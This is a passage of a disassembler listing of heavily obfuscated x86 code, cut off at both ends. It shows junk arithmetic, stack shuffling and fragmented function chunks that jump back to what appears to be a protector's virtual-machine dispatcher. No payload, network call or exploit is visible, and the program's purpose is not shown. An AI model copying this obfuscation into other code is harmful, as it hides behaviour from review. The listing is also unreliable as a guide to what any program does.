loc_59FC9E:				; CODE XREF: sub_5992DA+11E48j
		mov	edx, [esp+0]
		jmp	loc_5AA768
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_59FCA6:				; CODE XREF: sub_59D37E+7F0Ej
		add	esp, 4
		sub	al, 0B9h
		add	al, ch
		add	al, 0B9h
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	edx
		push	ebx
		mov	bl, 5Dh
		mov	dh, bl
		jmp	loc_5AB152
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_59FCC0:				; CODE XREF: sub_5A5824+31j
		add	esp, 4
		sub	eax, 0AD81E94Ah
		xor	esi, eax
		push	[esp+4+var_4]
		jmp	loc_5ABADF
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A317A


loc_59FCD2:				; CODE XREF: sub_5A317A-71ECj
		push	edi
		mov	edi, esi
		mov	eax, edi
		pop	edi
		jmp	loc_5AECA8
; END OF FUNCTION CHUNK	FOR sub_5A317A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59FCDD:				; CODE XREF: sub_5AA810-EF59j
		mov	[esp-4+arg_0], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 35E548E7h
		shr	edi, 7
		sub	edi, 6BCA8Dh
		add	edx, edi
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_599D72
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FD01:				; CODE XREF: sub_5AA2D1-CBCFj
		shr	dl, 2
		neg	dl
		xor	dl, 0FCh
		jmp	loc_5A069C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59FD0E:				; CODE XREF: sub_5A0FFF-4E88j
					; sdfs____:005AA2CCj
		pop	ax
		push	ax
		push	edx
		mov	dh, 0F8h
		inc	dh
		sub	dh, 0FAh
		mov	ah, dh
		mov	edx, [esp+4+var_4]
		add	esp, 4
		sub	ch, ah
		pop	ax
		push	edx
		push	ecx
		jmp	loc_5A6BF5
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59FD2D:				; CODE XREF: sub_5A5EFF-6670j
		neg	edi
		jbe	loc_59A183
		sub	edi, 5813B25Bh
		mov	eax, edi
		pop	edi
		mov	ah, 0Fh


loc_59FD41:				; CODE XREF: sub_5AE6B6+11j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59B712
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------


loc_59FD5B:				; CODE XREF: sdfs____:005ACCBAj
		add	esi, eax
		jmp	loc_5A95C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FD62:				; CODE XREF: sdfs____:0059C026j
					; sub_5AA2D1-B16Aj
		sub	eax, edi
		mov	edi, [esp-1Ch+arg_18]
		add	esp, 4
		sub	esp, 4
		mov	[esp-1Ch+arg_18], esi
		mov	esi, esp
		push	0D5Fh
		mov	[esp-18h+arg_14], edx
		mov	edx, 6CBC4957h
		add	edx, 9343B6ADh
		add	esi, edx
		mov	edx, [esp-18h+arg_14]
		add	esp, 4
		sub	esi, 4
		push	4B7Eh
		jmp	loc_5AD782
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_59FDA0:				; CODE XREF: sub_5AFA26-15B25j
		xor	eax, edx
		jmp	loc_5A1AB1
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59FDA7:				; CODE XREF: sub_5AF2D9-1490Bj
		push	ecx
		jmp	loc_5A9A72
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B95E


loc_59FDAD:				; CODE XREF: sub_59B95E-C16j
		sub	esi, 0E4D26DBh
		jmp	loc_5A1E60
; END OF FUNCTION CHUNK	FOR sub_59B95E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_59FDB8:				; CODE XREF: sub_5A5824+1A02j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	3018h
		mov	[esp+0Ch+var_C], edx
		pop	dword ptr [edi+24h]
		jmp	loc_5AE2D8
; END OF FUNCTION CHUNK	FOR sub_5A5824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_59FDD2:				; CODE XREF: sub_5B0377-16B0Aj
		pop	edi
		and	edx, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		sub	edx, 1
		dec	edx
		shl	edx, 1
		shl	edx, 6
		xor	edx, 0E0013104h
		add	ebx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	ecx
		jmp	loc_5AF038
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_59FDFE:				; CODE XREF: sub_599117+2D37j
					; sub_5A3C19:loc_59EA30j
		add	ebx, 80C66AA1h
		add	ecx, ebx
		jmp	loc_5B024C
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59FE0B:				; CODE XREF: sub_5A6BBC+15F3j
		sub	eax, 0AFF59EA6h
		mov	ecx, eax
		jmp	loc_5A9109
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4B1


loc_59FE17:				; CODE XREF: sub_59B4B1+1C4Fj
		add	bl, 0A4h
		sub	bl, 4Dh
		jmp	loc_5A9800
; END OF FUNCTION CHUNK	FOR sub_59B4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FE22:				; CODE XREF: sub_5AA2D1-EF6Bj
		push	eax
		mov	eax, 642039DDh
		or	ebp, eax
		pop	eax
		jmp	loc_59B285
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_59FE30:				; CODE XREF: sub_599A61+163CBj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59FE35:				; CODE XREF: sub_5A6BBC+D40j
		xor	ebx, edi
		jmp	loc_5A44B6
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59FE3C:				; CODE XREF: sub_59D6B8-7B3j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		inc	byte ptr [esp+0]
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_59FE51	proc near		; CODE XREF: sub_599A61+9542j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059987A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00599A46 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059A008 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059A6F1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F4EF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3114 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3230 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A33C9 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A3B68 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A46F9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5A0E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A5E9C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6E39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9F27 SIZE 00000020 BYTES

		push	ebx
		mov	ebx, 0A8BB8355h
		add	eax, ebx
		pop	ebx
		xor	esi, eax
		jmp	loc_5A3230
sub_59FE51	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FE61:				; CODE XREF: sub_5AA2D1-5E0Aj
		add	al, bh
		pop	bx
		push	ebx
		push	edx
		mov	dh, 0F7h
		mov	bl, dh
		pop	edx
		sub	al, bl
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5AE3D3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_59FE79:				; CODE XREF: sub_5A9EB4+6j
					; sub_5AA2D1+4EF0j
		add	esp, [edx+38h]
		jmp	loc_59A493
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FE81:				; CODE XREF: sub_5AA2D1+21D7j
		jo	loc_5AC6B0
		xor	ebp, 702B565Fh
		jnp	loc_5B001C
		jmp	loc_59D5CB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		pop	esi
		push	780Dh
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_59FE9E:				; CODE XREF: sub_5A809B-1AEDj
		push	[esp-8+arg_4]
		mov	ecx, [esp+0]
		add	esp, 4
		pop	[esp-8+arg_0]
		mov	esp, [esp-0Ch+arg_4]
		add	word ptr [esp-0Ch+arg_4], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FEB8:				; CODE XREF: sub_5AA2D1-2C77j
		add	edi, 32217Ah
		inc	edi
		xor	edi, 0B5DB9A52h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	sub_5ABE5F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59FED3:				; CODE XREF: sub_59C979:loc_59CA17j
		add	edi, 0DDF70000h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5A4BD0
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_59FEE3:				; CODE XREF: sub_5A10E3-291Bj
		add	ebp, 4
		jmp	loc_5AFF6D
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5998AD


loc_59FEEE:				; CODE XREF: sub_5998AD+1E4Fj
		mov	ebx, 2
		add	edi, ebx
		pop	ebx
		jmp	sub_59C95F
; END OF FUNCTION CHUNK	FOR sub_5998AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FEFB:				; CODE XREF: sub_5AA2D1:loc_5A0F5Dj
		neg	ebx
		jbe	loc_5A4E54
		sub	ebx, 0FACFB226h
		push	ebx
		mov	bl, cl
		mov	ebx, edi


loc_59FF0E:				; CODE XREF: sub_5AA2D1-8C4Cj
		push	ecx
		pop	edi
		pop	ecx
		push	dword ptr [esp+0]
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2F603AF7h
		xor	edx, 78DA0B91h
		not	edx
		shr	edx, 1
		jmp	loc_5ADC6A
; ---------------------------------------------------------------------------


loc_59FF35:				; CODE XREF: sub_5AA2D1+9j
		mov	edx, 54960720h
		xor	edx, 6E98202Fh
		jl	loc_5A45CC
		shr	edx, 3
		inc	edx
		jmp	loc_5A69F1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_59FF4F:				; CODE XREF: sub_5AD993-9536j
		mov	[esp-18h+arg_14], eax
		mov	eax, 4
		push	edx
		mov	edx, 4F0A4DABh
		add	ebx, edx
		jmp	loc_599B30
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59FF64:				; CODE XREF: sub_5A580F+D64j
		xor	eax, 43BD296Fh
		dec	eax
		jz	loc_5A94B6
		xor	eax, 185E43FDh
		sub	[esp+0Ch+var_8], eax
		jmp	loc_5AA917
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59FF7E:				; CODE XREF: sub_59F02F+BF46j
		xor	ebp, [esp+10h+var_10]
		jmp	loc_5A44D3
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59FF86:				; CODE XREF: sub_5B01F7-D8C5j
		mov	ebp, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		or	ebp, 32E15B06h
		jns	loc_5A1B21
		or	ebp, 444B5EC0h
		xor	ebp, 81C732Ah
		mov	edx, ebp
		push	ecx
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FFAC:				; CODE XREF: sub_5AA2D1-8AF6j
		sub	[esp+8+var_8], 1
		pop	esi
		push	ecx
		mov	ecx, 50B60DE0h
		and	esi, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	esi, 1
		push	edx
		mov	edx, 0C7E083Fh
		add	esi, edx
		jmp	loc_5A7F02
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59FFD2:				; CODE XREF: sub_5A580F+61D2j
		mov	ecx, 60CA0C58h
		shl	ecx, 3
		not	ecx
		inc	ecx
		sub	ecx, 427D0D0Dh
		add	ecx, 8323D46Dh
		add	esi, ecx
		pop	ecx
		push	edi
		jmp	loc_5A3BBF
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FFF2:				; CODE XREF: sub_5AF2D9-158F8j
					; sub_5AA2D1-7B8Ej
		sub	ecx, edx
		jmp	loc_5A89AC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59FFF9:				; CODE XREF: sub_5A0FFF-4E98j
		xor	al, 0B4h
		jg	loc_5A1EBD
		inc	al
		jns	sub_5AD015
		push	ecx
		jmp	loc_5AC174
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A000F:				; CODE XREF: sub_5A86D0-64BBj
		mov	edx, 0C59590C3h
		add	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		jmp	loc_5A73AD
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A001F:				; CODE XREF: sub_5AA2D1:loc_5A05BAj
		jmp	loc_5A4EFA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A0024:				; CODE XREF: sub_59CBE1+B60j
		mov	esi, eax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		xor	esi, ebx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5A8F3D
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A003C:				; CODE XREF: sub_5992DA+12546j
		sub	ebx, edi
		sub	ebx, 3D420349h
		pop	edi
		mov	eax, ebx
		mov	ebx, [esp+0]
		push	edx
		mov	edx, esp
		push	ebp
		push	edi
		jmp	loc_59AD34
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5AEA49

; =============== S U B	R O U T	I N E =======================================



sub_5A005A	proc near		; DATA XREF: sdfs____:00598E4Co

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	3Ch
		pop	ecx
		add	ecx, 52DC287Fh
		sub	ecx, 1D9A3378h
		add	ecx, edi
		add	ecx, 1D9A3378h
		jmp	sub_59A479
sub_5A005A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A0082:				; CODE XREF: sub_5AD795-F172j
		mov	ch, 9
		mov	dl, ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	dl, 0F8h
		jmp	loc_599C45
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A0094:				; CODE XREF: sub_5A4D9D-476Cj
		pop	esp
		push	3CD8h
		mov	[esp+4+var_4], ebp
		mov	ebp, 2
		add	ebx, ebp
		jmp	loc_5A0D19
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A00A9:				; CODE XREF: sub_5A477C-42F3j
		add	esp, 4
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	60BFh
		mov	[esp-4+arg_0], ebx
		push	esi
		jmp	loc_5A590A
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2D20


loc_5A00C7:				; CODE XREF: sub_5A2D20+9j
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-8+arg_0], ecx
		push	[esp-8+arg_4]
		pop	ecx
		pop	[esp-8+arg_0]
		pop	esp
		jmp	loc_5AABA9
; END OF FUNCTION CHUNK	FOR sub_5A2D20

; =============== S U B	R O U T	I N E =======================================



sub_5A00E2	proc near		; CODE XREF: sub_5A77D5-5690j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A7DCB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A8ECC SIZE 0000001E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	[esp+4+var_4]
		pop	eax
		push	5A73h
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 6EED555Bh
		neg	ebx
		shr	ebx, 3
		xor	ebx, 466A50E1h
		xor	ebx, 0B4A1Bh
		jmp	loc_5A8ECC
sub_5A00E2	endp

; ---------------------------------------------------------------------------


loc_5A0115:				; CODE XREF: sdfs____:0059A653j
		push	edx
		mov	dh, 0BFh
		jmp	loc_5AD75F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5A011D:				; CODE XREF: sub_5A81C4-B6DAj
		or	[edi+1Ch], ecx
		jmp	loc_5A9436
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A75B9


loc_5A0125:				; CODE XREF: sub_5A75B9-8D2Fj
		jns	loc_5AC875
		jmp	loc_5A2BDD
; END OF FUNCTION CHUNK	FOR sub_5A75B9
; ---------------------------------------------------------------------------
		not	dh
		shr	dh, 4
		push	eax
		push	ecx
		mov	cl, 87h
		pop	edx


loc_5A013A:				; CODE XREF: sdfs____:005AA082j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A20F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5A0145:				; CODE XREF: sub_5AD993+2434j
		sub	ebx, 407F2E70h
		inc	ebx
		push	763Ah
		mov	[esp-10h+arg_C], eax
		mov	eax, 27F51025h
		neg	eax
		shr	eax, 2
		or	eax, 72AC19A2h
		push	ebp
		mov	ebp, 0C260445Bh
		add	eax, ebp
		jmp	loc_59C06E
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------


loc_5A0170:				; CODE XREF: sdfs____:005A7F64j
		pop	ebp
		jmp	loc_5A3C7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFE9D


loc_5A0176:				; CODE XREF: sub_5AFE9D-446Aj
		sub	eax, 0F1B5C756h
		jmp	loc_59D5CB
; END OF FUNCTION CHUNK	FOR sub_5AFE9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0180:				; CODE XREF: sub_5AA2D1:loc_5AC70Aj
		jmp	loc_5A0EC4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8992


loc_5A0185:				; CODE XREF: sub_5A8992+15j
		mov	[esp+0], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	ecx
		jmp	loc_5A0EED
; END OF FUNCTION CHUNK	FOR sub_5A8992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD336


loc_5A01A1:				; CODE XREF: sub_5AD336-887Dj
		pop	ebp
		jmp	loc_5A04EE
; END OF FUNCTION CHUNK	FOR sub_5AD336
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A01A7:				; CODE XREF: sub_5A63DC-5BFEj
		sub	ebx, ecx
		pop	ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_5AB9F3
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A01C3:				; CODE XREF: sub_5AA2D1:loc_5A80D6j
		push	edx
		jmp	loc_5A19AE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2B8


loc_5A01C9:				; CODE XREF: sub_59C2B8+2AEEj
					; sub_5A8101+3C88j
		push	esp
		jmp	loc_59AD2B
; END OF FUNCTION CHUNK	FOR sub_59C2B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5A01CF:				; CODE XREF: sub_5A809B-17BFj
		pop	[esp-8+arg_0]
		push	ebx
		jmp	loc_59CBE7
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5A01D8:				; CODE XREF: sub_59B2E4+8082j
		mov	[esp+0Ch+var_C], edi
		mov	edi, 39750459h
		or	edi, 3C0923F0h
		shr	edi, 3
		jmp	loc_5A486C
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A01EE:				; CODE XREF: sub_59A7E7+A12Ej
		mov	edx, [esp-4+arg_0]
		jmp	loc_5ACF56
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A01F6:				; CODE XREF: sub_5AA2D1-466Cj
					; sub_59C656+D601j
		pop	ecx
		jmp	loc_5A2969
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB179


loc_5A01FC:				; CODE XREF: sub_5AB179+4569j
		sub	eax, 3AC04580h
		sub	eax, ebp
		add	eax, 3AC04580h
		pop	ebp
		jmp	loc_5AFD00
; END OF FUNCTION CHUNK	FOR sub_5AB179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A020E:				; CODE XREF: sub_5AA2D1-DF4Bj
		and	ebx, 7D6F3A68h
		add	ebx, 245F09A7h
		mov	ecx, ebx
		pop	ebx
		mov	edi, ecx
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		sub	eax, edi
		mov	edi, [esp-1Ch+arg_18]
		add	esp, 4
		add	eax, 0B86661h
		sub	eax, 740E465Fh
		add	eax, ebp
		push	esi
		mov	esi, 0FC004A7h
		sub	esi, 0AD838672h
		dec	esi
		push	eax
		mov	eax, 4EB7FE6h
		add	esi, 3133018Dh
		sub	esi, eax
		jmp	loc_5AEC7B
; ---------------------------------------------------------------------------


loc_5A025C:				; CODE XREF: sub_5AA2D1-6E1j
		push	7FF1h
		mov	[esp-14h+arg_10], edx
		mov	dh, 6Dh
		or	dh, 0E4h
		inc	dh
		push	cx
		jmp	sub_59C979
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A0272:				; CODE XREF: sub_59D6B8-3106j
		push	edi
		jmp	loc_5A51D7
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5A0278	proc near		; CODE XREF: sub_5A477C+2307j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059E5BB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059FC40 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A4B3F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A51A0 SIZE 00000015 BYTES

		push	ebx
		jmp	loc_5A51A0
sub_5A0278	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5A027E:				; CODE XREF: sub_5A917C+1A7Bj
		pop	esp
		xor	ecx, 1A7A565Eh
		mov	ebx, ecx
		pop	ecx
		sub	ecx, 67AB0EC0h
		add	ecx, ebx
		add	ecx, 67AB0EC0h
		jmp	loc_5A5A6A
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_5A029B:				; CODE XREF: sub_5ABE0D-104Cj
		xchg	bl, byte ptr [esp+14h+var_14]
		not	bl
		xchg	bl, byte ptr [esp+14h+var_14]
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		inc	bl
		push	edx
		mov	dh, 0
		inc	dh
		jmp	sub_5A9EC5
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A02B5:				; CODE XREF: sub_5A580F-861Fj
		dec	ecx
		neg	ecx
		dec	ecx
		not	ecx
		push	eax
		mov	eax, 543F765Ah
		xor	ecx, eax
		jmp	loc_5AFFF5
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A02C8:				; CODE XREF: sub_5A0AA2+16j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_5A80E2
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A02D8:				; CODE XREF: sub_5AA2D1-ECB5j
		sub	cx, bx
		pop	ebx
		sub	ax, cx
		jmp	loc_5A4691
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A02E4:				; CODE XREF: sdfs____:005A92BBj
		push	7889h
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5AD648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A02F8:				; CODE XREF: sub_5A522E+9C3Aj
		sub	eax, 2
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp-6+arg_2], dx
		push	ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59982C


loc_5A030D:				; CODE XREF: sub_59982C+9j
		mov	ecx, 3C4768AAh
		mov	ebp, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	ecx
		mov	ecx, 535E47D4h
		inc	ecx
		inc	ecx
		jmp	loc_5A5473
; END OF FUNCTION CHUNK	FOR sub_59982C

; =============== S U B	R O U T	I N E =======================================



sub_5A0327	proc near		; CODE XREF: sub_5AA2D1-ABC1j
					; sub_59E94B+B758j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F0AB SIZE 0000001C BYTES
